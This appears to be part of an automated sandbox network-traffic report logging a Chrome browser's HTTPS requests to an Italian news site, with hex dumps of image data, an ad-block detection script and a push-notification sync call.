0a 06 84 d7 82 7e d0 98 c8 1b ab c5 45 8a bc ac 7e 1e 22 2f bd 19 19 81 c5 50 e1 20 b2 a3 3d 8b d5 e0 95 56 36 8e ae 2b 79 e5 5d 52 aa e6 90 ac 97 48 66 e6 50 a2 01 e5 02 eb c8 4f 91 f0 Data Ascii: p\e(cQKt2j>r3O<!1A"Qaq #23@Bbr0R$4CSc?:jiU<ukdSg{P-4u2FV+U>in"; Aoa#~E~"/P =V6+y]RHfPO
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 66 d4 2a 33 fa a1 0d 19 09 9a 9a d9 7f a9 17 03 7d f3 35 39 9f dc 3b bf cb b5 6a 10 ff 00 70 ee ce 5b 56 d1 56 2d 3c b0 f1 12 b5 3b 6f fd 41 c4 01 5a 19 1b f8 17 aa 9c 15 cb 76 77 79 ad f1 13 fa b1 19 1f a2 c6 e7 1f 24 c0 d8 f6 61 bc fb 01 ed 00 34 f1 5b d2 00 ae 98 fa 2d c9 5a 7a ab 80 3d 0a f0 49 e4 56 fb 1d e6 d4 5d f3 55 51 5c e7 0e 85 5f 3c 9e a9 e7 37 15 a2 33 8b 8b 8a 79 e2 ed 79 f6 9a ab cb b5 dd bc d7 81 c5 55 ce 3c 97 25 41 73 46 6a f7 15 89 59 a2 eb fb 05 d9 37 14 dd 18 c4 18 40 bb 9a f0 85 80 15 57 6b 28 13 89 24 a6 87 8a b6 f2 bc 04 79 ad d7 bc 2d 90 35 a5 e8 7f f2 85 77 6d 27 8d 15 f1 bb d1 78 4a a9 58 6a c9 5d fc ac f5 33 a7 63 0d 45 f2 55 93 0c 1e cc fa a0 5e 6b 45 61 98 66 50 02 e0 b0 d5 52 ac b3 01 aa aa f5 b3 d1 9a 03 dd 47 5f 9a 61 92 Data Ascii: f*3}59;jp[VV-<;oAZvwy$a4[-Zz=IV]UQ\_<73yyU<%AsFjY7@Wk($y-5wm'xJXj]3cEU^kEafPRG_a
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: d1 f7 47 9f 28 14 ec ca 17 48 45 6e cf 32 fe 10 3b 6f 0a d7 ad e5 11 57 13 65 26 59 30 c9 00 9a 36 65 9d d1 eb 4f 53 83 db bc 0b 51 47 17 0b c6 fa 90 97 d1 e6 3f a6 4b 4c a4 4e 33 df 13 ef 3d 6f 57 7c 4c 1a 2e 35 32 dc b9 5c 78 5d 6a cd 39 42 a8 ac 31 5f 84 5f 6c 17 48 b3 31 0e 2c 15 e9 d0 ff 00 07 08 d0 52 0b da fa 44 1b ca 0a 99 49 22 35 7a a6 46 86 4f 55 13 57 db 36 f9 9e 28 85 87 bc d7 aa 16 a3 de 6b 7e 16 e6 25 82 76 8e 3a f7 a6 1d c1 e4 21 b1 26 e4 6a 06 78 c1 b2 57 5b 97 08 95 2c 66 55 2e db fa c6 d7 b4 35 65 9b 0b e6 05 a2 c6 b8 7b 23 bb a6 df e5 95 02 fd 65 d0 f7 95 56 e3 04 58 42 1b 9a 2e 8a 42 56 56 36 8c 48 5b c4 c8 90 04 a4 5e a4 ef 15 2e 3e b4 6f 27 0c e1 a8 29 1b 20 71 7b c2 bf 0a bd 2b f7 10 31 66 83 46 bf a9 ab 82 14 41 72 bd a4 2e ca 9a Data Ascii: G(HEn2;oWe&Y06eOSQG?KLN3=oW\|L.52\x]j9B1__lH1,RDI"5zFOUW6(k~%v:!&jxW[,fU.5e{#eVXB.BVV6H[^.>o') q{+1fFAr.
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f9 ca ae 4b b9 84 a4 a6 c2 5b b3 3b 53 64 e4 2f 1d a1 0d c4 d0 db c3 17 09 62 3c 97 87 51 d1 96 4e c0 4a ff 00 db 90 fd db dc 71 43 d8 17 c6 f5 37 1e 60 18 29 ab 82 f7 cd 93 1a c7 0c a7 05 ed 12 54 21 92 60 74 1a e1 93 31 ea c4 8c 55 c0 93 5a f6 29 37 da 14 d8 94 93 51 f4 0f ee 5f a0 3d a5 5c a0 5d 19 98 33 b8 8f a8 97 59 cb da 29 11 c1 19 54 64 96 d3 02 4c 33 42 69 2b 27 72 0a 6f 3b 90 70 5c 7c cf ff da 00 0c 03 01 00 02 00 03 00 00 00 10 b1 a8 8b 61 e0 07 8e f7 3c f6 fe 68 b9 51 57 c5 fb c3 5a 8c 8b 2c ee ce 77 97 00 5f e2 82 13 e3 86 05 c8 c7 48 34 9b 22 d3 5c a9 a4 6f b2 20 0d f8 e9 7b c0 97 9b 8b 5a 3a e4 aa 10 2c 04 3c 45 9f b0 fe 32 d2 fa 11 5e e0 ae 22 e9 3d df f6 02 c8 5b bb 67 0f cb 69 c6 00 ef 48 00 39 77 c9 8e ba 21 10 46 30 6d a3 4c da 14 c8 Data Ascii: K[;Sd/b<QNJqC7`)T!`t1UZ)7Q_=\]3Y)TdL3Bi+'ro;p\\|a<hQWZ,w_H4"\o {Z:,<E2^"=[giH9w!F0mL
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: a3 e6 a7 ec 2b e6 52 b6 c8 95 59 98 88 21 2b 61 b8 20 7b 64 86 72 70 d3 5f b8 b5 00 37 95 c1 5d 23 d4 e5 c8 1e a7 72 aa 8b 13 b3 e5 48 58 5e 05 2b a8 18 ad 40 b9 82 2f 2c ad ae 4a ee 4a 27 85 2d ba 71 2e 40 ad 21 b4 17 5e 10 c6 7f e1 e2 1b 97 2a 0e 22 c4 1c 32 b0 cb 90 9a 0f e1 18 33 1f 88 82 e6 93 59 46 35 3a b0 52 c9 7e 90 58 45 2e 72 bd 5f 0b 4f ee 39 bd 67 48 95 21 26 9c a4 ea 56 be 88 6f 92 cf 23 3d 6c 04 d4 44 07 f6 04 79 69 e6 95 16 6b 77 67 d4 5a 0b 1c a1 44 64 50 78 5c b7 6d e2 aa fc 46 c1 4f 01 31 2c b5 c6 ca a6 2d 51 e3 5f 65 15 6b e6 6c 96 a0 af 82 ee 01 93 b0 27 f5 30 67 e2 08 b7 fa 7f d8 37 29 61 af ca e5 06 39 96 33 a8 85 d4 0e c8 4b b5 28 61 2f 5a 99 8b a3 3a 90 31 99 a4 ba d8 92 c8 16 18 2a 09 e4 43 71 21 17 01 86 22 dc 43 80 b4 97 25 b5 Data Ascii: +RY!+a {drp_7]#rHX^+@/,JJ'-q.@!^"23YF5:R~XE.r_O9gH!&Vo#=lDyikwgZDdPx\mFO1,-Q_ekl'0g7)a93K(a/Z:1Cq!"C%
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2a e9 5c 71 3f e8 3f 91 43 a9 06 af ba 95 f5 86 d2 dd da d7 62 22 8e e5 8e 02 56 18 f9 c6 c2 5f 48 7e a5 59 c9 ac 7d 12 dd 4c 9c a3 a1 58 3e e3 6b 3b 65 9c 08 57 52 57 49 5d 60 41 2d 30 85 5a a8 af 37 52 a9 6a db f2 40 b5 fa 61 35 71 8b db 2f 8b b4 2a fb 2a 12 0c 5a 86 08 cf 46 06 a1 bc 2e cb e6 5d 62 e8 32 b6 15 df 30 80 75 12 d8 85 41 30 1f 30 73 ad 46 53 a1 57 40 bc 7a 25 ee d3 2b bd ab 62 17 3b 2a a9 78 2f 0c e9 76 87 b7 87 4c f6 08 c3 ee 5d b2 bb 07 b8 9b 19 e3 91 f3 50 20 a5 e0 6e ba 9d 60 bd bb d1 e4 63 5a 01 cb 07 eb 5f 43 fe 13 4a ac 6f b5 98 54 f9 5f b9 7e e2 85 b6 84 d4 31 b4 52 b2 56 68 d7 78 dc 8a 29 17 22 0d 6f a9 2e d5 0e b7 51 28 71 c4 cb e6 e7 8d 84 32 4d 8f c4 37 84 d6 00 18 ed 7a 75 98 63 01 b1 e5 5f b4 b6 9a 9e 41 c9 bb 70 8e fa ee 5f Data Ascii: \q??Cb"V_H~Y}LX>k;eWRWI]`A-0Z7Rj@a5q/ZF.]b20uA00sFSW@z%+b;x/vL]P n`cZ_CJoT_~1RVhx)"o.Q(q2M7zuc_Ap_
2024-03-28 08:51:09 UTC	532	IN	Data Raw: 59 50 9f 26 0f dc 34 af 0c 17 5d 06 44 f8 9f 6e 2d fa c7 d2 4e b5 1f 01 58 4a 96 73 50 f9 13 f5 17 d8 8e 46 7c 95 f7 1e 94 07 78 d0 0c bd a3 e9 81 c9 06 30 1a a5 10 22 d0 15 cf b2 29 55 a0 bd 3f d9 b3 e9 ef 00 60 fe c3 28 93 4e a7 6b ca e7 2a f8 6e 83 aa 33 17 86 f3 47 15 13 34 f9 21 fb 96 ff 00 00 91 49 a6 7c 11 7c 8f 0c 06 e1 0d c5 1c 19 4d 4b 0c e4 b1 dc 2f f9 14 d5 5c 0e f1 1c 29 64 ad 39 80 f2 fc a3 c0 45 2f f0 0e fd 5e 84 06 0d 3c bb 5b cc b4 17 4a c1 a4 48 c1 03 a1 fe 5f dc a4 ad 4c cb 47 4b 34 f9 8c 5f 30 27 fa d4 6d 5c ac 38 f4 7f d8 0a 82 ab 08 3a dc aa 75 85 b2 95 e0 fb 4a 02 68 3e 5b 8a b3 69 be c6 20 80 57 90 7f 71 0a 50 55 b3 b7 8c 42 ad d9 92 bc be 65 c5 ca 70 06 7e 4b 22 76 00 d8 5b e2 91 7b a8 09 29 d2 e2 b8 1e 26 fe e0 cb 88 01 aa 19 3e Data Ascii: YP&4]Dn-NXJsPF\|x0")U?`(Nk*n3G4!I\|\|MK/\)d9E/^<[JH_LGK4_0'm\8:uJh>[i WqPUBep~K"v[{)&>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49890	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	408	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	590	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 11586 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:24 GMT Expires: Sat, 28 Mar 2026 05:35:24 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ad31d76e4d58a475" X-Bytes-Saved: 506 Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	779	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 00 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 b9 a8 d5 53 e3 78 6b 7a Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"Sxkz
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 73 4c a1 04 f1 6a 44 d7 64 07 b5 e8 9d 51 71 b4 b6 83 41 52 8c a7 22 e6 dd 34 53 a2 4e 2a 04 56 69 6b b5 33 54 b1 9d 06 36 20 77 37 73 39 ad 25 91 1a 19 ba 0d be 3b 42 94 0d 08 2e 69 e7 6b 37 9b cd e8 b6 bd 12 f8 5d 45 05 a7 9b ea 2a b8 6e 27 c0 4f 25 45 d2 75 57 a5 c6 c7 f4 0e a0 be cb 85 38 aa da 91 85 38 66 81 d3 e7 87 a5 e9 f4 54 d6 1a 2a 17 3d 73 6e 20 69 d1 28 b6 22 8f 59 7c d6 c5 64 43 34 0c 9d bd 8e 24 b5 3b 2b 7a 8b 6d 58 d8 5d 96 5d b1 47 9f 9c e2 77 98 a8 f6 8d e4 18 e3 53 b2 58 4c cd ee 5d 3a e7 79 5a 1f 43 a0 85 4d c3 76 53 e9 f1 bb ba 6a 1a bb 78 93 c1 47 79 9d a9 58 9b d4 a2 18 b1 d8 2d 80 87 b5 22 72 a1 24 6b 01 d7 61 5c 0f 40 39 f2 c5 e1 07 b3 ad c5 d6 dc 4f 23 34 e4 01 36 88 da 1b e1 99 84 eb bc f0 b3 bc 57 5c c4 43 8e 40 fa 42 6e 26 89 Data Ascii: sLjDdQqAR"4SNVik3T6 w7s9%;B.ik7]En'O%EuW88fT*=sn i("Y\|dC4$;+zmX]]GwSXL]:yZCMvSjxGyX-"r$ka\@9O#46W\C@Bn&
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 83 d5 ce 42 f4 2a 3e 3c 66 13 25 77 92 4f 19 81 90 15 ac b4 3c c7 b5 5f b6 41 fb 37 a9 ad c7 11 c9 de 0a 53 81 41 eb 34 ac 7e b1 73 cb 2f b6 e8 25 55 8f e3 d6 38 0e a3 8d bb 39 1d ad 84 86 7d 37 88 74 26 78 e4 41 dc 3d 98 42 21 98 59 ed 4c ea 96 2d 8f a9 a8 20 30 08 cb f2 64 63 71 f8 ad 72 83 21 ca 66 59 b7 86 dd 4c 36 66 7a 00 46 2d e2 f0 5d 6e af 6a 86 34 e4 6b c8 3c 9d 94 44 8b 29 1c ac 58 eb c8 4c fc 4d 4f 8a bb a7 b9 ec bf dd 2d 5e 4b 72 f1 3b 87 b3 43 0c 4f 5d b5 35 03 90 dd 3e bf ca 6c b1 46 48 46 af 2d 79 65 5d a0 38 fd d8 9b 4c 85 1c d2 a3 f6 b8 e4 32 2b e2 f7 29 a9 f7 2c 5f cc 16 05 80 45 1b 98 98 c5 08 9f d1 5f b6 b6 0c 6c c6 74 79 fd 47 59 96 9c 59 bf 19 df 63 0c 3d 87 62 35 0e c8 a2 81 c6 b5 66 94 eb 4e 8b ac af b3 20 23 16 ad 19 63 09 8d 66 Data Ascii: B*><f%wO<_A7SA4~s/%U89}7t&xA=B!YL- 0dcqr!fYL6fzF-]nj4k<D)XLMO-^Kr;CO]5>lFHF-ye]8L2+),_E_ltyGYYc=b5fN #cf
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 8b 4d c5 13 32 a1 25 73 5f ba 1a 41 6f 79 ba e7 2b 10 b5 be 11 93 db d4 67 ee a1 d7 45 a6 c5 3f 08 ec 51 43 8e 05 dc 61 62 5b c4 42 a5 fa 29 85 f1 1b 65 1f 64 68 49 47 32 8b fc a3 74 cc 4d 9d 9f c6 78 a9 b7 a2 94 f8 b3 b9 b2 15 41 c2 15 63 dd 4e a1 0d d9 1e 6f 40 51 68 37 0a a8 16 d0 85 5f 18 db 82 1e 87 e2 19 b5 1d f2 47 ed 58 a0 7e a3 91 90 16 9d 3f f1 51 47 f6 84 66 56 10 c4 38 8d d0 2a 1b ba 0d c3 6e 9c 36 d8 65 1e 41 7c f0 1e 3d 15 4a a0 9c e3 0c e9 6a 6f c4 3a c8 50 13 c7 7c 83 9b 42 14 8b ee 38 1d 87 89 e1 70 84 ec 17 5d a7 eb c6 4a d6 e5 8a 04 4e b3 f7 54 f5 44 c1 95 3f 65 fe ab 6a 9e e9 84 b5 cd 6c dc f1 06 b6 a4 a0 37 df 33 d5 b5 53 55 e8 a5 5a 7d e1 40 bf 65 5a 76 c9 d9 ea 61 aa a5 1d bb 78 30 b1 7c de 1e 36 b3 ad d6 a2 5b a7 70 56 31 d5 1c e5 Data Ascii: M2%s_Aoy+gE?QCab[B)edhIG2tMxAcNo@Qh7_GX~?QGfV8*n6eA\|=Jjo:P\|B8p]JNTD?ejl73SUZ}@eZvax0\|6[pV1
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f3 14 ea 0a d7 51 03 2c 11 a9 af 68 eb 99 aa e2 16 b0 34 c0 07 1b fc 9f f9 33 1a db 18 2b 3a 7f 03 df b8 5a a2 90 a7 57 0c fc 7f 48 84 d5 1d f5 77 c7 dc 59 ec 67 a8 ec e7 1e f5 f5 19 bc c1 bc 40 41 ba 97 b3 d1 2e 6a 06 d3 67 86 64 ff 00 f8 5a 52 c0 b3 a3 63 57 8a 86 9d 01 d6 60 23 66 a1 2e c7 0a 4a bb 2d 3f 94 8b ae f2 5e fc 1b f4 d1 5f 18 83 2a 89 4b ee 3a 5c cb 40 05 7e 1f da 6e e0 6b 9f 62 53 30 b9 be 09 ba e4 0a 26 69 f0 7e 92 5c d5 03 7e f6 f7 0b 9a c7 a3 36 69 fc 33 28 72 72 24 e2 e6 6a 0d f4 53 88 ab 73 b0 14 7e 18 af e1 8c 7f 40 af 0b f5 e5 e9 ec 01 13 fb 20 36 b6 d5 96 54 05 7f ea 35 a4 47 73 d4 43 d1 2a 50 9c f4 78 25 5b 35 42 00 df b2 20 e7 30 f8 4b 1b c9 28 23 2f c3 15 4c a6 8f b5 e0 fd 3a a1 53 8d f3 f7 01 bd 5a 77 1e 19 a1 d7 11 16 6c 8e e0 Data Ascii: Q,h43+:ZWHwYg@A.jgdZRcW`#f.J-?^_K:\@~nkbS0&i~\~6i3(rr$jSs~@ 6T5GsCPx%[5B 0K(#/L:SZwl
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: ec 99 83 3f 31 fe 7c 15 3e 24 40 2b ea 54 57 43 89 d4 a7 72 ae 8d b0 14 7d 26 90 ab 71 c4 0f 03 60 16 a0 84 6e 17 55 44 58 5e 2f d4 e4 3c 30 54 b7 fb 13 3d cb f2 98 15 1c b1 be e5 8c 47 81 87 b8 0d 43 9a ee 51 ef 91 cf cc c7 b1 a5 4e 63 6a fd b3 2f 60 30 05 c3 16 45 57 38 b4 41 68 b3 20 5f d4 c3 43 1c a1 ac cc cc cb 4d c6 83 6c 33 48 8c a9 85 ec 7f 98 0c 7b f3 20 b3 89 59 7e 5c 13 06 3b 5f ea 0d 4d 04 2d 7f 26 61 99 c0 6b 71 dc 02 e6 8a e3 a0 95 a5 4c ab 37 92 26 c1 1a ba b9 65 8b d4 04 b9 75 35 d1 8e 5a 9a 50 66 2a b0 a1 84 98 33 34 89 02 c7 dc 17 2f 2b 08 ac c5 13 f8 cb 65 a1 0c cd 2c cd 9a 88 5b 7d 9d 27 51 97 70 c0 0e 81 e5 7a 65 36 18 5c de 60 62 cc 7b 42 41 7b 2f e6 50 16 e8 71 5a 48 bd 92 f3 6d 22 a0 69 8c 1f 5f 70 5f 09 78 10 76 4a 94 eb 83 d3 2c Data Ascii: ?1\|>$@+TWCr}&q`nUDX^/<0T=GCQNcj/`0EW8Ah _CMl3H{ Y~\;_M-&akqL7&eu5ZPf*34/+e,[}'Qpze6\`b{BA{/PqZHm"i_p_xvJ,
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 37 55 9a 6b f1 16 73 89 99 5f 72 ee 2e 75 6d e9 46 e5 91 12 38 17 56 9e e6 0b 3a 44 8b d8 7e e2 10 68 6b 33 e6 66 59 67 0b fb 23 68 4d 67 17 97 cd 9e c9 9f 84 ef 11 bd 3f 13 7e d0 5f 69 5a 96 8a 42 8a 99 16 fb 86 bf 80 d6 e6 54 18 39 83 9b f9 9f 30 43 30 30 ae 0c b9 84 ea 63 81 58 a5 9d f0 ab 7d d2 5e 0c b9 0f d4 3b e1 29 0d 77 b7 f5 35 dd 56 e8 91 76 85 0d 9f c1 74 79 d9 3e 25 5a b6 ea 41 db 57 d6 fa 40 21 97 9a d7 d1 11 5a cf 60 fa 82 55 90 40 c4 3e 69 d6 7b d1 af 75 18 2d a1 b2 96 b6 f7 fe 2e b6 ea 86 b0 d9 71 52 09 8c e0 e7 fb 94 9b fb 8b 47 ee 54 1c 59 cc 7b 56 e5 97 9b 10 69 92 db 79 fc 41 b9 8f 6c 03 e4 1f b9 c5 e1 d5 fc 4b 57 b5 29 f5 99 54 96 0b ea e1 f4 c2 c6 9c 7a 24 65 6e e1 3f 81 2a ed e9 e6 76 34 12 c3 6d 76 88 e8 a2 0f 6c ae 9f c2 af 12 53 Data Ascii: 7Uks_r.umF8V:D~hk3fYg#hMg?~_iZBT90C00cX}^;)w5Vvty>%ZAW@!Z`U@>i{u-.qRGTY{ViyAlKW)Tz$en?*v4mvlS
2024-03-28 08:51:10 UTC	1369	IN	Data Raw: 41 32 e2 b5 c7 cc 4a 44 53 68 3c 2f b7 30 29 22 2e 53 47 7d e6 a0 a8 ba 90 82 f9 e7 72 b4 f5 14 db 0c a2 b8 17 b4 a2 34 5f f5 fa 8f 78 9a 46 65 e7 41 6c 7e 13 4c 0a 01 2f 74 a3 7e 7c 41 ec 55 e6 49 49 81 a5 29 e8 8d 32 a0 f6 2e 79 bd a1 9e bd 26 e0 72 41 40 6e c6 09 3b 06 e0 1c d7 3d 20 59 86 d4 2b ce ce b1 b6 bb 90 1c 2a c5 1c c6 a3 c2 98 81 97 55 5a 98 81 9c ea 91 95 bd ac a2 e3 d4 01 17 9b 5f d2 cc cf 26 e3 30 1b 35 1c 24 55 59 a7 04 2a 9d a6 16 3f f5 09 bd e8 e4 d3 33 0b 78 de 5c af 84 86 13 4a 21 e0 28 08 be e1 9a a8 43 2c 23 63 09 5d 93 b7 2f a2 e1 18 41 16 cb 4b ef 12 f0 21 57 db e8 53 cc c0 41 cd 5e 8e 87 26 65 0c 1c a6 63 0d 18 b6 f3 1a 22 47 41 70 6b 3c 4a 46 a8 83 cf 6a cb ae 92 b4 82 b4 34 c7 fe c4 f0 d4 c2 65 e5 4e 23 be 87 40 ea b0 9d b7 b6 Data Ascii: A2JDSh</0)".SG}r4_xFeAl~L/t~\|AUII)2.y&rA@n;= Y+UZ_&05$UY?3x\J!(C,#c]/AK!WSA^&ec"GApk<JFj4eN#@
2024-03-28 08:51:10 UTC	1224	IN	Data Raw: 56 4a 6e 21 e5 b2 65 5b aa 84 ba 83 b1 f4 03 28 7e 6e 64 66 62 f1 bf 2f d4 13 d6 4a 7e 47 1f 50 0b 72 b1 b4 3d 31 0e 9d 60 b0 a1 57 ed fb 81 09 62 3a e9 c5 bd 61 8c 8d 69 2e 53 1c d1 12 5d 14 43 91 cd 3f 27 7c 46 e3 4d aa d9 ee 31 93 06 51 d1 72 8c 4e e9 6d a8 49 2c d5 dd 5f 98 97 5a ad aa 44 c3 17 15 cc ed 4a d2 95 e9 31 4a 6e 2d 45 34 2e 4f b7 53 b4 40 10 00 8c 9f 86 83 13 1e 21 b3 44 4e 98 ac 45 a0 65 80 ab 56 d8 a3 d4 31 72 e0 bf b7 d4 c2 68 36 aa 06 6f 32 00 af 66 52 b2 1c b5 88 7c cd 84 b5 2a 6e 0a ed 55 19 7c 56 b0 06 ab 38 cb 49 12 a3 44 0b 3b 5b f7 ce a0 37 02 a6 fb ab de 54 00 9f bf f9 09 4b ed 28 78 1e 3f e4 b6 aa 2b 6f 4d d9 82 35 b1 1a eb 0d 1a 85 56 8b 90 6d 29 dc e2 35 db 5a 88 ee b2 a6 ab 3c ca 4b e9 28 06 54 82 da 7b 60 05 9c 60 88 5d 0e Data Ascii: VJn!e[(~ndfb/J~GPr=1`Wb:ai.S]C?'\|FM1QrNmI,_ZDJ1Jn-E4.OS@!DNEeV1rh6o2fR\|*nU\|V8ID;[7TK(x?+oM5Vm)5Z<K(T{``]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49893	51.161.15.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	731	OUT	GET /AdBlockDetection/adblockDetector.min.js?abf=-adserver-%7C-doubleclick.js%7C-google-ad.%7C-google-adsense.&ref=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1 Host: static.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:10 UTC	317	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 21 Dec 2020 17:00:21 GMT Cache-control: max-age=3600, s-maxage=2592000 X-Device: mobile Age: 35167 TP-Cache: HIT Vary: Accept-Encoding
2024-03-28 08:51:10 UTC	3478	IN	Data Raw: 64 38 66 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 21 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 7d 76 61 72 20 74 3d 22 6f 66 66 73 65 74 22 2c 65 3d 22 63 6c 69 65 6e 74 22 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 75 3d 7b 66 69 72 65 4e 6f 77 3a 21 31 2c 6c 6f 6f 70 44 65 6c 61 79 3a 35 30 2c 6d 61 78 4c 6f 6f 70 3a 35 2c 64 65 62 75 67 3a 21 30 2c 66 6f 75 6e 64 3a 6e 2c 6e 6f 74 66 6f 75 6e 64 3a 6e 2c 63 6f 6d 70 6c 65 74 65 3a 6e 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 76 61 72 20 72 3d 7b 7d 3b 74 68 69 73 2e 61 64 64 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 72 5b 74 5d 3d 7b 75 72 6c 3a 74 2c 73 74 61 74 65 3a 22 70 65 6e 64 69 Data Ascii: d8f"use strict";!function(l){function n(){}var t="offset",e="client",i=void 0===l.addEventListener,u={fireNow:!1,loopDelay:50,maxLoop:5,debug:!0,found:n,notfound:n,complete:n};function r(){var r={};this.addUrl=function(t){return r[t]={url:t,state:"pendi
2024-03-28 08:51:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49882	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	740	OUT	GET /api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0 HTTP/1.1 Host: onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
2024-03-28 08:51:10 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 4879 Connection: close Cache-Control: public, max-age=3600 Cf-Bgj: minify Cf-Polished: origSize=4883 access-control-allow-headers: SDK-Version access-control-allow-origin: * alt-svc: h3=":443"; ma=86400 etag: W/"866f7578175ceb4cfc75454e9de9e96b" referrer-policy: strict-origin-when-cross-origin vary: Origin via: 1.1 google x-content-type-options: nosniff x-download-options: noopen x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-request-id: 86a3a79e-7d80-4eeb-8e57-773896cc2190 x-runtime: 0.029496 x-xss-protection: 1; mode=block CF-Cache-Status: HIT Age: 1033 Expires: Thu, 28 Mar 2024 09:51:10 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b66075cfc00804-IAD
